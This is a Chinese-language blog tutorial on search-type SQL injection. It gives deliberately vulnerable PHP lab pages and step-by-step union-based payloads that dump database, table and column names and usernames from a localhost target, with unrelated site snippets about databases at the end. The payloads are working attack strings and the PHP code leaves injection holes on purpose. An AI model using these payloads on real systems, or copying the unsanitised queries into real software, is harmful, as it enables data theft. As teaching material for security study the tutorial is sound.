首页 > 数据库 >SQL注入——搜索型

SQL注入——搜索型

时间:2023-09-08 15:12:35浏览次数:41  
标签:get echo pwd 搜索 --+ SQL row select 注入

SQL注入—搜索型

搜索型注入—原理介绍

一些网站为了方便用户查找网站的资源,都对用户提供了搜索的功能,因为是搜索功能,往往是程序员在编写代码时都忽略了对其变量(参数)的过滤,而且这样的漏洞在国内的系统中普遍的存在;

其中又分为 POST/GET ,GET型的一般是用在网站上的搜索,而POST则用在用户名的登录,可以从form表单的 method="get" 属性来区分是get还是post。搜索型注入又称为文本框注入

一般后台搜索组合的SQL语句如下:

$sql = "select * from user where password like '%$pwd%' order by password";

这句SQL的语句就是基于用户输入的pwd在users表中找到相应的password,正常用户当然会输入例如admin,ckse等等。但是如果有人输入这样的内容呢?

ryan'and 1=1 and '%'='

这样的话这句SQL语句就变成了这样:

$sql = "select * from user where password like '%ryan'and 1=1 and '%'='%' order by password";

此时就存在SQL注入。

mysql模糊查询

like 匹配/模糊匹配,会与 %_ 结合使用。

'%a'     //以a结尾的数据
'a%'     //以a开头的数据
'%a%'    //含有a的数据
'_a_'    //三位且中间字母是a的
'_a'     //两位且结尾字母是a的
'a_'     //两位且开头字母是a的

查询以 java 字段开头的信息。

SELECT * FROM position WHERE name LIKE 'java%';

查询包含 java 字段的信息。

SELECT * FROM position WHERE name LIKE '%java%';

查询以 java 字段结尾的信息。

SELECT * FROM position WHERE name LIKE '%java';

搜索型注入—注入判断

  1. 搜索 keywords' ,如果出错的话,有90%的可能性存在注入;
  2. 搜索 keywords%' and 1=1 and '%'=' (这个语句的功能就相当于普通SQL注入的 and 1=1 )看返回情况;
  3. 搜索 keywords%' and 1=2 and '%'=' (这个语句的功能就相当于普通SQL注入的 and 1=2 )看返回情况;
  4. 根据2和3的返回情况来判断是不是搜索型文本框注入了。

以下几种语句也都可以:

'and 1=1 and '%'='
%' and 1=1 --+'
%' and 1=1 and '%'='

搜索型注入—GET型案例

<?php 
header("Content-Type:text/html;charset=utf-8");
	$pwd = $_GET['pwd'];
	$conn = mysql_connect("127.0.0.1:8889","root","root");
	if($conn){
		echo "连接数据库成功!";
	}
	echo "<br>";
	mysql_select_db('ryan',$conn); 
	$sql = "select * from user where password like '%$pwd%' order by password";
	$result = mysql_query($sql);
	$row = mysql_fetch_array($result);
	if($row){
		echo "用户ID:".$row['id']."<br>";
		echo "用户名:".$row['username']."<br>";
		echo "用户密码:".$row['password']."<br>";
		echo "用户邮箱:".$row['email']."<br>";
	}else{
		print_r(mysql_error());
	}
	mysql_close($conn);
	echo "<hr>";
	echo "你当前执行的sql语句为:"."<br>";
	echo $sql;

 ?>
  1. 访问靶场

  2. 输入正常关键字进行查询

    http://localhost:8888/get.php?pwd=ryan
    

  3. 加单引号进行尝试

    http://localhost:8888/get.php?pwd=ryan'
    

    加单引号出现报错,报错中出现 % 号,猜测可能为搜索型注入

  4. 使用以下payload进行测试

    http://localhost:8888/get.php?pwd=ryan%' and 1=1 and '%'='
    或者
    http://localhost:8888/get.php?pwd=ryan%' and 1=1 --+
    

    正常显示

  5. 继续尝试以下payload

    http://localhost:8888/get.php?pwd=ryan%' and 1=2 and '%'='
    

    无内容显示

    通过以上测试,证明存在SQL注入漏洞

  6. 使用 order by 判断列数

    http://localhost:8888/get.php?pwd=ryan%' order by 5 --+
    

    order by 5时,报错

    http://localhost:8888/get.php?pwd=ryan%' order by 4 --+
    

    order by 4 时,正常显示

    说明该数据表列数为4

  7. 判断回显位

    http://localhost:8888/get.php?pwd=abc%' union select 1,2,3,4 --+
    

  8. 获取数据库名

    http://localhost:8888/get.php?pwd=abc%' union select 1,database(),version(),4 --+
    

  9. 获取表名

    http://localhost:8888/get.php?pwd=abc%' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4 --+
    

  10. 获取列名

    http://localhost:8888/get.php?pwd=abc%' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='user'),3,4 --+
    

  11. 获取数据

    http://localhost:8888/get.php?pwd=abc%' union select 1,(select group_concat(username) from user),3,4 --+
    

搜索型注入—POST型案例

<?php 
header("Content-Type:text/html;charset=utf-8");
	$id = $_POST['id'];
	$conn = mysql_connect("127.0.0.1:8889","root","root");
	if($conn){
		echo "连接数据库成功!";
	}
	echo "<br>";
	mysql_select_db('ryan',$conn); 
	$sql = "select * from user where id like '%$id%' order by id";
	$result = mysql_query($sql);
	$row = mysql_fetch_array($result);
	if($row){
		echo "用户ID:".$row['id']."<br>";
		echo "用户名:".$row['username']."<br>";
		echo "用户密码:".$row['password']."<br>";
		echo "用户邮箱:".$row['email']."<br>";
	}else{
		print_r(mysql_error());
	}
	mysql_close($conn);
	echo "<hr>";
	echo "你当前执行的sql语句为:"."<br>";
	echo $sql;

 ?>

<form action="" method="POST">
	id:<input name="id" type="text" /><br><br>  
	<input name="" type="submit" value="提交" />  
</form>
  1. 访问靶场

  2. 正常查询id,使用burp抓包

  3. 加单引号进行尝试

    id=1'
    

    出现报错,且报错中出现 % 号,猜测是搜索型注入

  4. 使用以下payload进行测试

    id=1%' and 1=1 --+
    

    正常显示

    id=1%' and 1=2 --+
    

    无显示,判断存在注入

  5. 使用order by 判断列数

    id=1%' order by 5 --+
    

    id=1%' order by 4 --+
    

    说明该表列数为4

  6. 判断回显位

    id=abc%' union select 1,2,3,4 --+
    

其他操作跟以上GET型案例相同

标签:get,echo,pwd,搜索,--+,SQL,row,select,注入
From: https://www.cnblogs.com/mr-ryan/p/17687652.html

相关文章

  • Mac 终端登陆MySQL出现“zsh:command not found: mysql”的问题
    mysql明明安装好了,而且也登陆使用过了,但是这次在终端登陆却报错这个问题。其实上次也报错这个一样的问题,我觉得可能是环境配置没有弄好,重新检查和source生效了下(source~/.bash_profile),此时mysql能正常登陆了;但是退出终端后再次登陆又会报同样的问题。感觉不对劲了,只能生效一次......
  • DBeaver执行sql脚本报错:CreateProcess error=193, %1 不是有效的 Win32 应用程序。
    DBeaver执行sql脚本报错:CreateProcesserror=193,%1不是有效的Win32应用程序。如图:  定位发现DBeaver默认安装的mysql.exe大小为0字节!解决方案,重新给DBeaver指定有效的mysql安装的bin目录下mysql.exe即可:选中当前的mysql连接,右键:编辑连接-主要-本地客户端-浏览......
  • PostgreSQL 数据库使用 psql 导入 SQL
    最近我们有一个SQL需要导入到PostgreSQL,但数据格式使用的是用:----TOCentry7877(class0OID21961)--Dependencies:904--DataforName:upload_references;Type:TABLEDATA;Schema:public;Owner:---COPYpublic.upload_references(id,upload_id,target_......
  • sqlserver中字符串替换其中几个字为打码
    select*fromdocbasewhereisdelete=0updatedocbasesetsubject=STUFF(subject,23,4,'****')whereisdelete=0 updatedocbasesetsubject=STUFF(subject,23,6,'******')whereisdelete=0andLEN(subject)>19STUFF函数也可以用来替换指定的字符串。它的定义如下......
  • NAS 后台安装 Docker 后配置 PostgreSQL
    群晖(Synology)NAS的后台在新版本对Docker不再称为Docker,现在改称为ContainerManager了。  单击进入后运行ContainerManager。PostgreSQL容器针对PostgreSQL的容器,我们选择容器后,如果你已经安装了PostgreSQL的话,应该就能看到运行的容器了。  然后选择设置。在Post......
  • 单词搜索 II(字典树、数组)、合并两个有序数组(数组、双指针)、验证回文串(双指针、字
    单词搜索II(字典树、数组)给定一个mxn二维字符网格board****和一个单词(字符串)列表words,找出所有同时在二维网格和字典中出现的单词。单词必须按照字母顺序,通过相邻的单元格内的字母构成,其中“相邻”单元格是那些水平相邻或垂直相邻的单元格。同一个单元格内的字母在一......
  • 群晖(Synology)NAS 后台安装 Docker 后配置 PostgreSQL
    群晖(Synology)NAS的后台在新版本对Docker不再称为Docker,现在改称为ContainerManager了。  单击进入后运行ContainerManager。PostgreSQL容器针对PostgreSQL的容器,我们选择容器后,如果你已经安装了PostgreSQL的话,应该就能看到运行的容器了。  然后选择设......
  • 用docker搭建mysql的主从复制
    (1)创建主容器dockerrun-d-p3306:3306--privileged=true-v/mysql/log:/var/log/mysql-v/mysql/data:/var/lib/mysql-v/mysql/conf:/etc/mysql/conf.d-eMYSQL_ROOT_PASSWORD=123456--namemysqlmysql:(2)在宿主机/mysql/conf中创建mysql配置文件touch/mysql/conf/my.cnf......
  • 搜索 优化方法(大纲)
    剪枝策略调整搜索顺序(层次)比如让体积大的先选,或者选择比较少的位置先枚举排除等效冗余发现两个搜索状态(子树)其实是等价的(比如\(A+B\)和\(B+A\)),只需要枚举其中一种即可可行性剪枝不行的状态直接\(skip\)最优性剪枝现在的花费已经大于答案直接\(skip\)A*的思路:现在的答花......
  • postgresql sequence是什么?
    在PostgreSQL中,序列(Sequence)是一种特殊的数据库对象,用于生成唯一的整数序列。序列可以在需要连续的、唯一的标识符时使用,例如为表中的每行分配一个唯一的ID。要创建一个序列,可以使用以下语法:CREATESEQUENCEsequence_name;其中,sequence_name是你为序列指定的名称。你还可以......